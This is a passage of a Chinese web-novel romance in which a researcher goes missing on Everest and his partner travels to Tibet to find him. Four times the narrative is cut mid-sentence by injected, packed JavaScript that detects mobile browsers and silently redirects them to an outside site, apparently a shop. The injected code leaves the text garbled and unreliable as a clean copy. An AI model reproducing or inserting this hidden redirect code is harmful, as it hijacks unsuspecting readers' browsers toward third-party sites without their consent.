张研究员掀着帐帘的身影一顿,显然有些意外队伍中最“铁面”的路薄会问出这个问题。 惊讶归惊讶,他还是心中一暖,礼貌地答: “好多了,马上往山下的营地走,应该不会恶化了。” 路薄闻言点了点头。 “那休整半小时,我们就返程。” 张研究员有些惊讶,虽然半小时听起来还算不错,但才经历冰芯采样的波折,大家一定都累了。 这么匆忙启程,总觉得有些不合适。 他还没开口询问,帐内的男人已经整好装备,眉间是无可撼动的坚定。 “山顶的风有点不对劲,我们还是尽快下山去下一个营地休整安全些。” 此话一处,张研究院也凛了神色,点点头出了帐篷。 —— “然后呢?” 许清也被石宇没完没了的铺垫磨完了耐心,蹙眉捏紧了耳边的手机。 单听石宇带着浓重鼻音、毫无重点的叙述,就知道以他现在的情绪状态大概很难抓到重点。 许清也直接了当地追问: “你为什么会觉得路薄或许联系过我?” 电话另一头的石宇一愣,意识到自己已经说了不该说的,深吸一口气,认真道: “因为路哥手上也许还拿着那支卫星电话。” “去往二号营地的路上,风雪忽然加大,强风带起风暴,吹散了队伍。” “路哥他,可能有所预料,把采样大多交给了队员,走在队伍最后……” 许清也隐约从他的话中推测出某个情况,她呼吸一滞,恍然间才发现,这关头上她唯一能够做的,却只是一遍又一遍地在心底祈祷。 祈祷她的推测是错的。 然而石宇的话犹如一块坚石,砸碎了在她心尖上那块摇摇欲坠的冰锥。 “路哥他,跟队伍走散了,目前……还是下落不明。” 石宇忐忑地停顿了几秒,电话那头没有传来隐忍或是悲痛的哭泣声,而是一片长久的寂静。 “嫂子?” 担心许清也承受不住,石宇焦急地补充: “但是整个大本营现在都在找路哥,已经加派了直升机和登山队伍,一定……我们一定能找到路哥的……” “路薄一定会没事的。” 他的话说到一半,听筒另一头传来坚定到几乎听不出情绪的女声。 许清也过分冷静的反应让石宇错愕一瞬,接着重重点头应道: “一定,一定会的。” 尽管他们彼此都没有十分的把握,此刻却只能这样坚定地告诉自己。 像是一种咒语般的重复。 “如果有什么消息……” 石宇立刻会意,承诺道: “我一定会尽快告诉你的。” 许清也猜到他说这些话,想必是违背科考纪律的事情。冷静下来,她心中感激,这情境下也没有其他的话能说。 最终只是小声道谢,很快挂断了电话。 一掐断电话,许清也抓起手机就直奔房间。 拉开衣柜胡乱收拾起行李来。 心里一片混乱,再怎么强作镇定,其实也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465474|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是表面平静。 她其实根本没有收拾的心思,只是胡乱塞了几件衣服,就迅速跑到床头拉开床头柜。 脚边好像有什么东西拖着她的裤脚,许清也一低头,就看见轻挠着她裤脚的芝士。 小家伙的眼眸澄澈干净,带着不知世事烦恼的纯真。 许清也原本忍得好好的,看着它眸中也似有所感的不安,忽然忍不住鼻酸,一滴泪落在芝士柔软纯白的绒毛间。 “对不起、对不起……” 她抹着泪水沁湿的一小块毛发,反复说着对不起。 连她自己也说不清,这话究竟是对芝士说的,还是对因她的劝才去往珠峰的路薄。 许清也第一次后悔,劝他参加项目这个决定。 没有太多时间留给她失控的情绪,许清也很快收拾好眼泪,拉开床头柜找证件。 不管情况怎么样,即使不能够去到营地,她也要去离他更近的地方等着他。 证件放在二层抽屉深处的收纳筐里,她伸手一探,没有摸到证件,反而在另一侧摸到一个小小的U盘。 许清也顺手扔到包里,找到证件后就一刻不停地拉开了家门。 “小也?” 她转身锁门,身后却传来一道熟悉的女声。 “你这是要去哪?” 许清也转头,就看见尹女士拎着保温盒,站在电梯门口皱眉,脸色不太好。 “要出门一趟,”有一瞬间,她很想扑进尹女士怀里痛痛快快哭一场,可最后还是忍住了。“出差。” 知女莫若母。许清也一个下意识的眼神,尹虹便察觉到了她的不对劲。 “出什么事了?” 她拦住许清也的去路,用一个母亲最强硬的姿态问着,却也用一个母亲最温柔的眼神为孩子兜底。 “妈你让一下好不好,我真的很着急。” 尹女士越是追问,许清也就越是不想然她跟着担心。 她左右避不开母亲的阻挡,无力地提高声音喊了几句,终于在尹虹不退让的目光中崩溃地坦白: “妈,你就让我最后一次好不好?” 自从高三那年的变故后,许清也仿佛一夜之间长大了,这些年,都很少露出这样的神色。 “路薄出事了……我得去找他……” 尹虹愣在原地,原本要说出口的话权衡二三,终于还是被许清也带着哭腔的声音拦住,没有说出口。 其实,许民辉的律师刚才打来电话。 许民辉刚才在海市出了车祸,目前还在抢救中,情况不太好,也需要做好最坏的准备。 原本为了防止那边耍花招,她是打算劝小也一块去海市的。 但此刻,尹虹有些说不出口。 怎么说呢?让小也二选一,只能是徒增她的伤痛。 那倒不如让她这个妈来帮她选。 许民辉对小也的所作所为,已经不配小也为他经历选择的后悔了。 至于花招。那就让她来替小也守着吧。 十年了,原来当初那个一直站在她身前保护妈妈的女孩已经长大了,有了新的、珍贵的家人。 尹虹望着许清也失魂的脸色,无声地替她按下了电梯。 “妈?” 许清也模糊着视线望向女人温柔的脸。 “去吧。” 尹虹忽然温柔地抱了抱她,就像八岁前安慰每一次因为雷雨天而不敢睡觉的许清也。 “去找小薄,跟他一起平安回来。” 尹虹的语气里似乎带着某种抚平心绪的力量,许清也的心随之短暂地平静下来,认认真真地点了点头。 电梯门关上,把母女二人隔绝。 尹虹望着数字逐渐减小的楼层显示,转身离开了门前。 这次就轮到她吧,就像十年前挡在她面前替她跟全世界争辩的小也。 她会尽一个母亲本能的责任,替小也守住属于她的东西。 71. 不等了 “女士?” 空乘人员的声音把许清也放空的思绪唤醒。 她循着空乘的视线看去,才发现自己松垮垮搭在身前的安全带。 “请系好安全带。” “不好意思。” 许清也抱歉地低头系上安全带,空乘人员也转身继续往前巡查。 飞机很快按时起飞。 这已经是江城前往西藏最快的一班航班,行程却还是需要五六个小时。 能忙的事情只有那么几件,系完安全带、整顿好行李,起飞后的她想找些事情分散注意力,好让自己焦躁的情绪缓解些,却发现什么也看不进去。 窗外是厚厚的云层,蔚蓝的天空显得梦幻而柔软。 这段时间,许清也忙着天气画册的初稿,花了很多时间去画这些看似相同的云朵。 此刻云近在咫尺,可她提不起一点儿细看的心情。 前排的乘客似乎打算在长途旅程中休息一会儿,拉下了窗内的帘子。 左前侧的日光被隔绝,许清也的位置也暗下两分。 她点开浏览器想要看看能否搜索到一点关于科考队或是珠峰的近况,才刚点开搜索框,就想起这是在飞机上。 何况这样等级的科考项目,大概也是不可能搜索到上次官方报道外的任何消息了。 许清也随手把手机塞进挎背着的小包,动作间不小心带出一块金属质地的东西落在地上,发出一声清脆的响声。 她弯下腰去看,是床头抽屉里的那一枚u盘。 ——— 飞机落地的时候西藏的天已经完全暗了下来。 这个点的机场明显冷清很多,许清也推着小箱子,按照路牌的指示去找网约车的站点。 之前还在杂志社工作的时候,出差的机会也不算少,对于这样的奔波她已经很习惯,顺利在晚上十一点前到了定好的民宿。 越是接近喜马拉雅山脉,她越发感觉到一种情怯。 果然接下来的几天,一切就不如来时顺利了。 那天之后,石宇的电话就再也没有打通过。 许清也不知道他是因为科考工作,还是后悔了承诺继续偷偷告诉她搜救近况的事情。 总而言之,跟科考队唯一的联系就这么断了。 冷静下来想想,许清也虽然不后悔来到这里的决定,却想明白了这并不是理智的决定。 她联系不上科考队,也不能贸然找去,加上她从来没来过高原,刚落地半天就一直有些轻微的高原反应。 许清也很清楚地认识到,她来到高原,对找到路薄这件事的帮助几乎为0。 不过她没有后悔。 只是离他近一些也好,等路薄回来的那一天,她都能第一个站到他面前,笑着去拉他的胳膊,告诉他: “我一直都在最近的地方等你。” 没有仍何消息,许清也只能窝在民宿里。 偶尔抱着画板出门,她就绕着山下的小镇走,漫无目的地画一些见到的风景。 画册的事情还需要正常地推进,前两天刚对接过印刷厂的负责人。 因为之前已经是认识多年的老熟人,加上小栗自告奋勇帮她去线下对接材料,一切都像预料中的顺利。 许清也机械地忙碌着,好像只是换了个地方旅居。 几天下来,民宿老板看到她背着相机和画板出门,都会用不算很标准的普通话跟她打招呼。 “早,许小姐。” 这几天,许清也发现高原的天好像比江城的更近。 是那种更清晰的视觉感,天和云的分界线很明显,蓝的分明,也白的分明。 漫无目的地走一天,积累一天的疲惫,晚上才能睡的更好些。 可实际上大多时候她只能拖着疲惫的身体躺在漆黑的房间里,感受着高原冰冷的夜,想起无法得知下落的他。 又是一天与前一天毫无差别的日子。 许清也拖着疲惫的身体洗漱完,倒进柔软的被窝里。 她拿起手机照例拨通通讯录里的两个电话,幽冷的电子光线照在她白皙的脸庞上。 几声嘟声后,冰冷的机械声被切断。 因为是老样子,所以许清也并不感觉到失望,只是像完成了某项任务,利落地一下暗灭了手机。 许清也从包内侧掏出单调简约的u盘,插入手机,然后十分熟练地把耳机塞入左耳。 耳机里瞬间响起男人熟悉的声音。 “当我还只有六岁的时候……” “第一颗星球上住着一位国王……” 男人的声音刻意被放低,像是琴键上低组的旋律,故事是那么童真,他的语气却还是一如既往地冷冰冰。 偶尔念到童趣的对话,他总是不适应地轻咳一声,再接续之前的故事。 许清也闭上眼裹好被子。 她把左右的被角都裹得严严实实地,却依然感觉这里不如江城的夜里温暖。 路薄熟悉的声音从耳机中传来,许清也只要闭上眼,困顿时或许还能想象他靠在床头满眼尴尬无奈地捧着童话书的画面。 这样重复的日子让她感觉不到时间的流逝,有时候甚至觉得一切都是她的一场梦。 跟石宇那场短暂的通话并不存在,路薄好好地在珠峰考察。 而她,只是偶然恶作剧地来到这里,想要给他一个惊喜。 许清也裹紧被子侧身,可今天却怎么也睡不着。 尽管尽力遗忘时间,她还是清楚地记得今天已经是她来到喜马拉雅的第五天。 五天时间对于珠峰的失联者意味着什么,许清也不敢细想。 她反而是想起了在临海市的那个蓝色的夜晚。 越是回忆,路薄坐在民宿桌前录制这段音频的画面就被不断涌入脑海的细节勾勒地更细致。 他嘴上说着绝不给她念,实际上却几乎念了大半本。 耳机里男人的声音还在继续着,许清也深呼吸一口气憋住眼眶的湿意,终于在一句简短的句子后听见一声熟悉的叹息。 路薄没有读完整本,他只念到这里,这之后是一片微弱的噪声。 大概是整理桌面和起身间椅子摩擦地面的声音。 许清也摘掉半边耳机,伸手去摸枕边的手机。 以往她几乎听不到那声叹息,就能沉沉睡着,可惜今天不仅失眠的厉害,伸手还没能第一时间摸到手机。 指尖触碰到屏幕边缘,锁屏页面亮起。 光亮起的一瞬间,她忽然听见那片细小的噪声中夹杂着男人一句极轻的话语。 “晚安,我的小玫瑰。” …… 一直到后半夜,许清也都没能睡着。 第二天日上三竿,她难得地窝在枕被中间,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481994|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧被困在不间断的梦境中挣扎不能脱身。 她又一次梦见了那坐人来人往的落叶大道。 路边还是黄绿交杂的枫叶,许清也被男孩拉着一直向前跑,怎么也追不上他的步子,看不清他的脸。 看不到头的长路让她越跑越觉得乏力,直到经过一盏架着黑色烤漆扶梯的路灯,她忽然记起了某些模糊的回忆。 许清也喘着气甩开男孩的手,生气地问: “灯不是在那吗?” “笨蛋!我们跑过啦!” 然而男孩并没有回头。 他还是保持着一样的脚步朝前跑着,很快消失在大道尽头。 “笨蛋……” 女孩的梦呓被一阵急促的铃声打断。 许清也睁开双眼,日光已经撒满整间屋子。枕面上的一角被沁湿,她瞬间从梦中清醒过来,接起了电话。 “喂?” 她语气不佳地声音后是略显漫长的安静。 几秒钟的时间里,许清也抬头确认过这是个陌生的号码,就要挂断。 “小也…” 电话另一头带着些沙哑的男声立刻抓住了她的耳朵。 “我是不是把你吵醒了?” 男人的声音里满是无奈的笑意,似乎把她的语气不善归咎于起床气。 他的语气如此平常,让许清也无端生出一种他们昨天才分开的错觉。 “嗯。” 她掩饰着瞬间酸涩的鼻音,短促地从鼻端哼出一个音节。 “刚才做了一个特别可怕的梦。” 许清也忽然顿住了,她开始害怕起这不过也是一个梦境。 戳破了,就不得不回到现实。 男人没有追问,只是声线温柔地道: “梦都是相反的。” 许清也回想起刚才梦境中不曾回头就消失的男孩,被他俗气的安慰稳下半颗心来。 她抽了抽鼻子,急促地问: “你在哪?” 路薄听出她声音里的颤抖,瞬间明白她已经全都知道了。 他低头看了一眼手腕上的橡胶手环,照着上面的字老老实实报出医院的名字。 “在喜马拉雅藏医医院。” 女孩那儿边传来一阵枕被摩擦的声音,一声清脆剧烈的响声刺痛耳膜,路薄握紧手机紧张道: “小也,怎么了?” “没事,只是打破了一只杯子。” 许清也站在一地玻璃碎渣边,愣神地回答。 她起身太急,收拾东西的时候带落了昨晚放在床头的玻璃杯。 “许清也。” 男人舒了口气,忽然严肃地喊了一声她的名字。 “你不要难过,也不要怕。” “再等等我,我很快就会回到你身边。” “不,这次我不会再等你了。” 女孩拒绝的很干脆,干脆到让路薄胸腔一空,仿佛有什么强留的终于背包出逃,只剩下空荡到发慌的心腔。 “小也……” 他喃喃半句她的名字,忽然听见女孩一声极轻的笑声。 “我不要再等你了,”她飞快地重复了一句,“你乖乖地在医院等我。” “这次,我会找到你的。” ——抱歉没能认出你的每一秒,但从现在开始,我会找到你。 然后,认出你。 72. 好运 “谢谢。” 路薄的脸上还带着一丝病态的苍白,抬手把手机递给了身边的同事。 “不用客气,”张研究员转了转手机,玩笑道,“那句个词儿怎么说来着?” “我们这也算是生死之交了吧?” 路薄被他轻松的语气逗的轻笑一声,点头应道: “当然。” 如果不是张研究员当时坚决拍板带人返程找他,路薄大概最多撑到重新找回科考路线的时候,来不及拖到救援队到达,就会因为极寒的天气或是不足够的水和食物而体力不支,永远困在珠峰上。 气氛轻松,张研究员左右一看,才发现石宇不知道什么时候溜了个一干二净。 “石宇这小子,就一秒没看见,人跑哪去了?” 张研究员不解地朝门外张望两秒,嘀咕道: “跟逃跑的速度有得一拼。” 两人年纪相仿,到喜马拉雅的大营地后没多久就因为打游戏的爱好称兄道弟地玩到了一块。也是队里出了名的损友了。 路薄顺着他的目光往门外看去,带着笑意感叹: “可能真的逃跑了吧。” 告密者,能不心虚吗? “啊?”张研究员不明这其中的故事,疑惑地出声。 “他逃跑什么,我看最担心路领队的,除了您的家人,大概就是他了。” “不过,” 话到这里,想起刚才电话外隐约听到的女声,张研究员做作地挑眉问: “路领队你难得联系上家里人,不多说两句吗?” 他话里的“家里人”三个字让路薄的嘴角扬起两分。 “不用。” 男人的眉梢带着笑意,藏在冰冷的镜片后的眼眸中染着点点骄傲的意味。 “她在拉萨。” ——— 早晨六点,许清也准时被手机铃声吵醒。 机械性地伸手去摸床头柜上的手机,却先一步摸到了一截温热的掌心。 她迷迷糊糊睁开眼,铃声已经被先一步按掉。 路薄顺势轻轻捏了捏她白皙的指尖,语气温柔地问: “这几天在拉萨都起得这么早?” 许清也强撑着困意睁开打架的眼皮,仔细定定地看了眼男人近在咫尺的帅脸。 很清晰,捏起来也热热的,非常真实。 搞清楚不是梦,她放心地继续闭上了眼。 “只是闹铃而已。” 只是闹铃而已,言下之意并不会起得这么早。 路薄无奈地弯唇,就知道她一向没有早起的习惯,辞掉杂志社的工作后都是居家办公,更是一天起的比一天晚。 “要不要起来,看日出?” 他想起她昨天睡前非要拉上陪护床和病床之间的帘子,两人只亮着一盏床头灯聊到半夜。 从许清也昨晚不算有时间逻辑的叙述中,路薄推测她来西藏还没有看过雪山的日出。 对爱好摄影的她来说,这本来应该是不愿意错过的景色,所以他才有此一问。 “不要。” 许清也拒绝的很干脆,意识困倦中忽然清醒,再次睁开双眼,一瞬不移地看着面前人深邃的眉眼。 动了动小臂,意识到她正以一个小鸟依人的姿势靠在他怀里,许清也立刻清醒地坐起身来。 “我有没有压到你手上的针头啊?” 她紧张地拉着路薄的手寻找滞留针的位置。 以刚才那个位置,她大概只要像往常一样随便在睡梦中翻个身,就会压到他左手滞留针的位置。 男人默不作声地任由她拉着手臂检查,深潭般的眸中盛满笑意,追随着女孩变化精彩的神色。 她的神情从紧张着急到松了口气,精致的眉头皱成一团又松开,最后冷下脸抬头,对上他已经正色的目光。 “我记得,我昨天睡的是隔壁那张陪护床吧?” 许清也伸手拉开两张床之间的隔帘,另一边床上的被子一眼就是有人睡过的痕迹。 路薄住的是单人病房,不过有一张陪护床在,许清也原本就做好了在医院陪他的准备,带着一背包行李就直接在这里住下了。 不过昨晚护士特地嘱咐不能压到滞留针,否则肯定要淤血一大片,她才言辞拒绝了路薄的“勾引”,坚持拉上帘子睡在隔壁的陪护床上。 谁知道折腾半天,最后还是在他这张床上醒来。 许清也半眯着眸,眼神质疑地打量面前的男人。 男人一脸坦然,脸上就差写着“无辜”两个大字。 “我只是看你差点从床上滚下来,所以就拉了你一把。” 许清也默默低头看了一眼两张床之间半米多的距离,不得不感叹他撒谎脸不红心不跳的功力。 这是拉一把能拉出来的距离吗? “路薄,”她正色对上他浅色的眸,像是教育小朋友般警告他,“这次就算了,你能不能对自己的身体上点心?” 许清也转过身,一低头就看见了床边整整齐齐的两双拖鞋。 一双粉色,一双蓝色,一大一小靠在床边。 在家里的时候她就发现了路薄这个习惯。 她每次上床都是随意放着拖鞋,可他不。虽然不会因为自己的习惯纠正她,但许清也每次醒来都能看到床头整整齐齐靠在一块的两双拖鞋。 他出差的这大半年,许清也以为自己几乎快忘掉这种细节了。 可其实只要一看到,点点滴滴都依旧清晰。 腰间环上男人炙热有力的手臂,她一偏头,脸颊就靠上他微长的发。 “松手。” 这种背对着他的方向,许清也看不清他的脸,被他捆得难受,轻轻推着他的脑袋,无奈道: “让我起来啊。” 身后是男人闷闷的声音。 “不。” 许清也没想到小半年没见,他的粘人程度甚至见长。 “你不是生气了吗?” 路薄额际靠在她肩上,温热的呼吸打在她的蝴蝶骨上,引起一阵微弱的痒意。 闷闷地说完这两句,他又抬头把下巴轻靠在许清也的肩上,偏头去看她的表情。 许清也无奈地巴拉着他的手,一偏头就对上男人湿漉漉的目光。 他这些天一直在珠峰,头发比出发前长了半个指节的长度,微长的刘海遮住了大半剑眉,意外地显得年轻了许多。 许清也愣了一瞬,出神地想象着学生时代的他。 察觉到她眼神的变化,路薄得寸进尺地附身在她脸颊边啄了一口。 清脆的吻声把许清也从想象中拉回现实。 许清也趁机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495636|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉开他松松揽在她腰间的手,站在床边捧住他的脸。 对准男人的薄唇蜻蜓点水地一吻。 “好啦,我很困啊。” 许清也敷衍地哄了一句,就窝回了陪护床的被窝。 深秋的早晨还有点冷,尤其是昼夜温差很大的拉萨。她裹着冰冷的被子,下意识的皱了皱眉。 路薄被她忽然的轻吻控在原地,一不留神就让手心的“蝴蝶”飞走了。 他坐在原地,看着许清也微微皱起的眉头,试探地问: “雪山的日出很美,真的不看吗?” 说实话,雪山顶的日出并不是每一天都能看见,所以即便是现在出发,他们也不一定能看见“日照金山”的景象。 不过路薄这话并不算刻意哄她,因为雪山上的日出的确很美。 金色日光照耀雪山最顶峭的部分,纯洁的白色被暖黄的光轮包裹,那是属于这片雪域的浪漫。 日照金山,见者吉祥。 在藏传文化里,雪山是最纯洁神圣的象征,而金色的阳光代表着好运的到来,藏民们相信这样壮观的日出能给见到的人带来好运。 他想带她去够这份好运。 然而眷恋被窝的许清也并不知道这些,她干脆自觉屏蔽了路薄的说话声,翻了个身把脑袋钻进被窝里。 耳边传来男人钝钝的脚步声。 路薄在靠窗的床边蹲下,目光跟她齐平,拉着被角把她的脑袋拨出被窝。 许清也的脸窝在被窝里,闷得泛着微红。 被他再三的打扰激得心烦,她直接一巴掌拍在男人脸侧,烦躁道: “你好吵!” 路薄没料到她的反应,顺势握住她微凉的手,轻笑一声。 “不吵了。” 他简短地保证,悄悄坐在床边,暖着她冰凉的手心。 到拉萨的这些天,她看似像个没事人一样工作、散步,其实每天都睡的不安稳。 也许是真的没睡饱,许清也很快沉沉进入梦乡。 几根调皮的发丝贴在女孩的脸侧,她红扑扑的脸颊显得格外可爱。 纤长卷翘的睫毛在饱满的卧蚕上投出一小片灰色的阴影。 放在床头柜上的手机不间断地震动起来,短短两声,就被路薄眼疾手快地关掉了提示声。 似乎是迟枣枣传来的消息。 不用看,他都能猜到大概是在问她网上那些爆料是真是假。 比如: 路薄是不是她那个倒霉前未婚夫? 她是不是真的要回家继承许氏? 以及……她跟路薄到底是什么时候认识的? 这些问题,或许每一件回忆起来都曾经是他们彼此心里的伤痕。是那种一旦触碰就会流血的、结痂不落的旧伤痕。 但现在,也都成了让他们彼此遇见的好运。 这是他们彼此珍贵的回忆。 在黎明时分,就算不看日照金山,坐在睡熟的爱人身百年,也已经是人们汲汲追求的幸运了吧? 路薄放轻动作捋开那调皮的发丝,在她额间落下温柔的一吻。 女孩被他的动作惊扰,轻轻蹙眉。 路薄唇角牵起一个上扬的弧度,极轻地喃喃: “是你不许我再吵的。” “醒来看到了,不能赖我啊。” 73. my Princess 许清也一觉睡到了日上三竿。 说是来照顾病人的人,看起来却比病人更疲惫,睡梦中都轻轻皱着眉头。 “三号房的病人,要挂水喽。” 护士敲了两声房门,推门就愣住了。 原本应该靠在病床上休息的病人正站在紧闭的窗帘边,一手还拉在窗帘上。 路薄听到声音回头,下意识地食指贴在薄唇边,做了一个“嘘”的手势。 仅仅是两秒钟的慌张,他就恢复了往常那张冰块脸,主动坐回床边,伸出留着滞留针的手臂。 “她在休息,麻烦小声一些。” 男人用口型拜托,护士半猜半懂地点了点头,安静地给他换上今天医生开的点滴。 “啪——” 护士伸指弹了弹输液管里的水泡,轻声道: “这瓶挂完了还需要再挂一瓶。” “还需要挂几天?” 路薄闻言皱眉问道。 “这个我就不知道了,得问问主治医生。” 路薄闻言点了点头,心中不由扶额。 他从珠峰下来的时候情况的确算不上好,不过也只是有些失温和体力不支的症状,看起来吓人了些而已。 被科考队的同事们按着做了一堆检查,大家才肯好好听他说话。 路薄的卫星电话在风雪中摔坏了,不能联系大本营的人,下山后身上也没有通讯工具。 在医院混乱检查了好几天,才勉强借到张研究员的手机,给许清也打一个电话。 “快挂完了就按这边的按键就行。” 护士压低声音嘱咐一句,就推着小推车出了房间。 房间里的男人坐在床边,抬头望着吊瓶上葡萄糖三个大字,叹了口气。 病房的走廊间静悄悄地,护士站的几个值班护士正在整理药品,时不时探着脑袋望向走廊,直到看见负责三号病房的护士推着小推车回来,立刻忍不住左一句右一句地问起来。 “怎么样怎么样?看见长相了吗?” “相处模式怎么样?” “如胶似漆型,还是相敬如宾?” …… 推着小推车的护士在众人期待的目光中摇了摇头。 护士小姐接着在一万个疑惑的目光中为难地开口: “什么都没看到。” “许小姐好像很累,还在睡觉。” “路先生吧,很着急出院的样子。” 简单的两个句子,一石激起千层浪。 几个值班护士对视一眼,瞬间交换一个秒懂的目光,憋着微妙的笑容各忙各的去了。 护士长翻了翻值班表,摇着头叹气: “小别胜新婚啊。” “年轻人,就是有活力。” ——— 而此刻“有活力”的路薄正坐在床边看着许清也发愣地望着窗外的侧脸。 阳光从窗外斜斜照进来,撒在许清也的侧脸上。 女孩似无所觉地望着窗外才够到窗台高度的叶丛。 刚才护士离开病房没多久,她就被手机震动声吵醒了。 是尹虹打来的电话。 尹女士小心翼翼地试探科考队那边的情况,直到许清也主动说了路薄已经没事了,电话那头才终于放下心来。 母女俩进来难得轻松地聊了几句,直到只剩下些重复的话题,尹虹还是迟迟没有挂断电话。 “妈,”许清也抿唇问,“你是不是有什么事要跟我说?” 许清也问出这句话的时候,脑袋里就冒出过十个百个预想,可是怎么也没有想到,尹虹会说出这样一句话。 “小也,你爸爸他前阵子出了车祸,现在人在江城人民医院。” “情况已经稳定下来了,但……大概是醒不过来了。” 许清也握着手机的指尖一紧。 自从尹女士离婚的那天起,她对许民辉的称呼一直是“那个人”。 许清也没想到她时隔多年,再次听到“你爸爸”这个称呼的时候,会是尹虹告知她许民辉成了植物人…… 指尖被人轻轻拉开,许清也一回头,就靠上了男人结实的腰腹。 她抬头去对上他的目光。 电话另一头的尹虹没有留给她太多的消化时间,另一个消息像是从天而降的石头,打得她晕头失向。 “小也,回江城吧。” “按照遗嘱,你现在是许氏集团现在的继承人。” 许清也顿在原地。 对许民辉,她说不清自己该是怎样的感情。 人生前十八年,他是最可靠也最疼爱她的父亲,可后来,也是他亲手打破了许清也曾经信以为真的,幸福的虚像。 许清也以为自己到今天,应该是单纯地恨着他才对。 但听见许民辉成了植物人的消息后,她却有一瞬间的后悔。 后悔没有在那个生死攸关的关头等在许民辉的手术台前。 尹虹只是说完了这些话就挂了电话,手机另一头很快响起忙音。 许清也的目光失焦一瞬,最后被路薄沉默温柔的眼神从意识的深海中打捞住。 “许民辉,他凭什么?他凭什么……” 她的目光像是迷失在日落沙漠中的旅人,抱住他紧实的窄腰,不断地问着。 她曾经不断告诉自己,许民辉会抛弃他们的家只是因为她不是男孩。这是许民辉的狭隘。 可现在,许民辉却用遗嘱告诉她,不是这样的。 许清也什么也没说,路薄却听懂了。 ——她只是在代替八年前的自己,问一句凭什么。 凭什么要让她混乱地怀疑自己,怀疑是不是因为对她不够满意才让许民辉放弃了他们原本“幸福”的家。 “对不起。”路薄动作轻柔地揉了揉她的发顶,语气里满是心疼和自责,“对不起,小也。” 许清也一愣,拨开他的大手,蹙眉反驳: “你对不起什么?” “是因为我的失误,你才会来西藏……”还有,对不起没能早一点尝试去理解你。 路薄垂眸看着她的眼睛,那双灵动美丽的眼睛里写满了她自己都不知道的悲伤。女孩仍然失神地坐在窗台边,他忽然开口,替她说出她眼睛里写着的决定: “回江城吧。” “日照金山,我们下次再看。” “我陪着你。” ——— 一周后,江城。 画册的终稿终于在返程前全部确定。今天是画册初印的日子,许清也急匆匆从床上弹起来,以最快的速度洗漱完,熟练地找到餐桌上打包好的保温盒,抓起包包就往门外跑。 走到玄关,她又忽然想起什么,转身抽出玄关门口的一支水彩笔,跑回餐厅的冰箱前。 “讨厌的优等生。” 她伸手在冰箱上的便利贴上添上一句‘知道啦!’,推开半步看便利贴上原本整齐漂亮的行楷字体,摇了摇头。 路薄最近学会了一种新的留言方式,不仅不肯妥协地在早餐里变着花样加她不爱吃的蔬菜,还用长段而学术的文字跟她解释这种摄入蔬菜对人体的好处。 今天还严格地用上了引用格式。 许清也轻撅着嘴“嘁”了一声,唇角却忍不住勾起上扬的弧度。 心情雀跃,她拎着早饭哼着不成调曲子,推开家门。 “小也?” 背后忽然响起尹女士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564648|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音,许清也想起今天的第一站目的地是医院,忍不住心虚地抖了一瞬。 “小也今天出门这么早呀。” 许清也回头,迟阿姨正跟尹女士姐俩好地挽着手,一人一袋子食材往楼上走。 “妈,你跟迟阿姨怎么不坐电梯啊?拎着东西多累啊。” 她严重怀疑尹女士总是这样都是为了‘偶遇’她。 许清也小跑两步去接两人手里的袋子,被两位女士同时拦住。 她抬头疑惑地看了眼两人,不知道她们什么时候变得这么要好了。 “行了,就一楼,不用你送。” 尹女士拍开许清也的手,云淡风轻地道: “赶紧走吧,你不是去完医院还要去跑印刷厂吗?” 被当场揭穿去向,许清也尴尬地捏着保温袋带子上的纹路,磨磨蹭蹭地道: “时间够的……” 话说到一半,她忽然发觉尹女士的话里虽然飘着点醋味,但并没有以前提起许民辉那些极端的情绪了。 “妈……”许清也有些错愕地看向尹女士。 “好了,想去看你爸爸就去看,别跟我这儿装可怜。” 尹虹故作嫌弃地摆了摆手,别扭地道: “他不是个好丈夫,但还勉强算个合格的父亲。” 尹虹没有跟许清也提起过,其实许民辉当年是想要跟她抢小也的抚养权的,只是因为小也的态度,才最后让步的。 这次的遗嘱,她也只是个见证者。 